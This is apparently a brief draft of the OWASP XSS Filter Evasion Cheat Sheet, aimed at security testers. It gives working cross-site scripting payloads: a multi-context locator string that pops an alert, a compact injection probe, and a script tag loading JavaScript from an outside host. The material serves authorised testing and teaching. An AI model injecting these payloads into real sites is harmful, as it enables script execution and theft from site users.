XSS Filter Evasion Cheat Sheet

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DRAFT CHEAT SHEET - WORK IN PROGRESS

Introduction

This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing.

Tests

This cheat sheet is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion.

Please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the page.

XSS Locator

Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. Use this URL encoding calculator to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'>
<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

XSS locator 2

If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS verses <XSS to see if it is vulnerable:

;!--"<XSS>=&{()}

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

No Filter Evasion

This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):

<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]


References

http://ha.ckers.org/xss.html

Authors and Primary Editors

RSnake

OWASP Cheat Sheets Project Homepage